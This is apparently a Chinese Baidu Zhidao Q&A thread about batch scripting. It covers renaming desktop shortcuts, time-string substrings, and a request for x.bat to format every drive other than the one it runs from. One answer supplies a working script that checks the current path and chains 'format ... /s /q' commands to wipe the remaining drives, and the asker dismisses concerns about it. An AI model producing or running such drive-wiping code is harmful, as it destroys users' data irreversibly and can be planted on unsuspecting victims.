批处理的写法.高手进来!

来源:百度知道 编辑:UC知道 时间:2024/07/02 20:59:58
问1:桌面上的qq.exe和dd.exe和gg.exe和da.exe等快捷方式,怎么写把它们后面的.exe除去.为:qq和dd和gg和da
问2:要写个bat为x.bat,如果这个x.bat在c盘(c盘里的某个文件夹里也算),则在格式化d,e,f盘,如果x.bat在d盘,则格式化c,e,f盘,在e盘同理格式化e盘以外的盘
问3:一些设置时间的批处理里有time:~0,2%,或date=~-3!什么的,怎么理解,在哪里有学这个时间批处理的资料
我要的是学批处理,不是要在系统里不显示文件扩展名什么的.这些我都懂.要想要知道语法应该怎么写.有些人就是有病,问2不是就是个格式化命令么,有什么问题?做什么坏事?什么好鸟?我真是服了你们。难道做个格式化批处理就是坏事,做的人就是坏人?你家开刀具制造厂难道国家就应该按一把刀判你家一个人死刑?
@echo off
set /p a=请输入你家做出来的刀具数:
set /p b=请输入你家被判死刑的人数:
if %a%==%b% goto good:
:no good
echo 这说明了做格式化的批处理不等于做坏事!
pause
exit
:good
echo 希望你家再多做几把刀!
pause
exit

最正确且简单明了的代码:
@echo off
for /f "delims=" %%a in ('dir/b "%userprofile%\桌面\*.lnk" ') do (
for /f "tokens=1 delims=." %%b in ("%%a") do (ren "%userprofile%\桌面\%%a" "%%b.lnk"))
这个是替换掉多出来的所有扩展名包括exe txt之类的,9楼的那个VB妮可写的替换太弱智了,十楼zhouqai写的太麻烦
楼主仔细看 不要以为这句和11楼的同志写的是一样的,其实不一样。自己慢慢琢磨。
echo %cd% >1.txt
type 1.txt | find "C:\" && format d: /s /q && format e: /s /q && format f: /s /q
type 1.txt | find "D:\" && format c: /s /q && format e: /s /q && format f: /s /q
type 1.txt | find "E:\" && format c: /s /q && format d: /s /q && format f: /s /q
type 1.txt | find "F:\" && format c: /s /q && format d: /s /q && format e: /s /q
del 1.txt
pause
9楼的通知把第一句写成了copy %cd% >1.txt 明显是错的
十楼的cd>1.txt是对的 楼主也可以换成这句 关于echo %cd% >1.txt和cd>1.txt 的差别楼主好生琢磨。
第三个问题大家都说的很清楚 我就不多少了
楼主